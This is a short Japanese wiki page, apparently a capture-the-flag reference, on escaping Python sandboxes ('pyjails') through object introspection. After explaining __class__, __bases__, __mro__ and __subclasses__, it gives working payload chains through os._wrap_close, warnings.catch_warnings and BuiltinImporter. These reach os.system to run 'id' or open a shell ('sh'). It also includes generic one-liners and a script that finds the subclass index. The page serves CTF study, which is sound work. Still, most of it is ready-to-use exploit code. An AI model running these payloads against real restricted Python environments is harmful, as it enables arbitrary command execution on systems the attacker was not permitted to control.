pyjail wiki

Object Introspection

Jan 10, 2024

Overview

Pythonの全てのオブジェクトは object を継承している。この特性を利用して、任意のオブジェクトから object に到達し、そこから危険なクラスを探索できる。

基本概念

__class__

オブジェクトが属するクラスを取得する。

"".__class__ # <class 'str'>
().__class__ # <class 'tuple'>
[].__class__ # <class 'list'>

__bases__

クラスの直接の親クラスをタプルで取得する。

str.__bases__ # (<class 'object'>,)

__mro__ (Method Resolution Order)

クラスの継承チェーン全体を取得する。

str.__mro__ # (<class 'str'>, <class 'object'>)

__subclasses__()

クラスの全ての直接のサブクラスをリストで取得する。

object.__subclasses__() # [<class 'type'>, <class 'async_generator'>, ...]

基本チェーン

任意のオブジェクトから object に到達し、サブクラスを列挙:

# 文字列から
"".__class__.__bases__[0].__subclasses__()
# より短く
"".__class__.__mro__[-1].__subclasses__()
# タプルから
().__class__.__bases__[0].__subclasses__()

危険なクラスの探索

os._wrap_close (Python 3.x)

os.popen() の戻り値のクラス。__init__.__globals__ から os モジュールにアクセス可能。

# インデックスはPythonバージョンにより異なる
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')

warnings.catch_warnings

_module 属性から builtins にアクセス可能。

[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

BuiltinImporter

直接 load_module を呼び出してモジュールをロード。

[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')

ワンライナー例

# 汎用的なペイロード
[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')
# インデックス指定版 (環境依存)
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')

サブクラスインデックスの探索

# 探索スクリプト
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
if '_wrap_close' in str(c):
print(i, c)

Tips

  • サブクラスのインデックスはPythonバージョン、インストール済みモジュールにより変動
  • __mro__[-1] は常に object を指す
  • __base____bases__[0] のショートカット